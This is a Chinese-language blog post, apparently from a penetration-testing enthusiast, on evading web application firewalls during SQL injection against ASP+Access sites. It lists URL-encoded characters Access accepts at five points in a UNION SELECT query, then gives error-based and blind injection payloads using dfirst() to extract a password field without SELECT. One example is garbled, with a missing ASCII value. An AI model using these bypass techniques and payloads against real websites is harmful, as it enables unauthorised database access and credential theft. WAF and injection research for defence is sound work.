我们经常利用一些数据库特性来进行WAF绕过。Access通常与ASP搭配,以及少的可怜的几点特性。
为了文章的完整性,我们来测试一下access的特性。
0x02测试常见有5个位置即:select*fromadminwhereid=1unionselect1,2,db_name()fromadmin
位置一:参数和union之间的位置(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d、%16
(2)%3b
位置二:union和select之间的位置(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
位置三:select和查询参数之间的位置(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
(2)其他字符
%2b、%2d、%2e、%3d
位置四:查询参数和from之间的位置(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
位置五:from后面的位置(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
0x03技巧ACCESS无selectSQL注射
1、需要报错
select*fromidea_userwhereid=3+(dfirst([password],([idea_user]![password])))
2、盲注
select*fromidea_userwhereid=3+asc(mid((dfirst("[password]","[idea_user]")),1,1))-
password字段第一个字符为e,对应ascii为,所以id=3+-还是等于3,页面返回正常
0x04结束在ASP+Access的注入点,猜表猜字段就让人很绝望,如果此时加上一层WAF的话,简直不忍直视。
如果你利用了Mysql/MSsql的特性,那么在平移到Access的时候,很可能是不适用的。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。
Bypass
AboutMe
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。
Bypass如有帮助,请随意打赏